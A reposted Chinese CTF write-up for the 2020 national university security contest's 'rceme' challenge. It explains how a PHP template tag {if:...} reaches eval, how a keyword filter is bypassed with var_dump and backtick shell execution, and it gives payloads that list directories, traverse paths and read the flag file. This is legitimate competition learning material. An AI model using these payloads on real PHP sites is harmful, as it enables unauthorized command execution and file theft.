2020第十三届全国大学生信息安全竞赛创新实践能力赛rceme writerup

   日期:2020-08-24     浏览:316    评论:0    
核心提示:审计代码传入参数a,进入parserIfLabel函数发现参数a的模板,a的格式要匹配pattern,如{if:payload}{end if}可知ifstr是a中匹配的第一组的值,即payload中的值并且经过danger_key函数过滤继续往下看Ifstr经过很多过滤替换,最终里面不包含大括号就会进入一个eval语句漏洞正是出现在这里往回看danger_key过滤函数好家伙,不仅将一大堆关键字符替换成*,还进行了二次检查但是..._rceme

审计代码

 

传入参数a,进入parserIfLabel函数

 

发现参数a的模板,a的格式要匹配pattern,如{if:payload}{end if}

 

可知ifstr是a中匹配的第一组的值,即payload中的值

并且经过danger_key函数过滤

继续往下看

Ifstr经过很多过滤替换,最终里面不包含大括号就会进入一个eval语句

漏洞正是出现在这里

往回看danger_key过滤函数

 

好家伙,不仅将一大堆关键字符替换成*,还进行了二次检查

但是可以用var_dump()函数绕过

构造a={if:var_dump(`ls`)}%20{end%20if}

页面出现

 

说明命令成功执行

a={if:var_dump(`ls%20../../../../../`)}%20{end%20if} 进行目录穿越

 

发现flag

a={if:var_dump(`cat%20../../../../../flag`)}%20{end%20if}

查看flag

 

 
打赏
 本文转载自:网络 
所有权利归属于原作者,如文章来源标示错误或侵犯了您的权利请联系微信13520258486
更多>最近资讯中心
更多>最新资讯中心
0相关评论

推荐图文
推荐资讯中心
点击排行
最新信息
新手指南
采购商服务
供应商服务
交易安全
关注我们
手机网站:
新浪微博:
微信关注:

13520258486

周一至周五 9:00-18:00
(其他时间联系在线客服)

24小时在线客服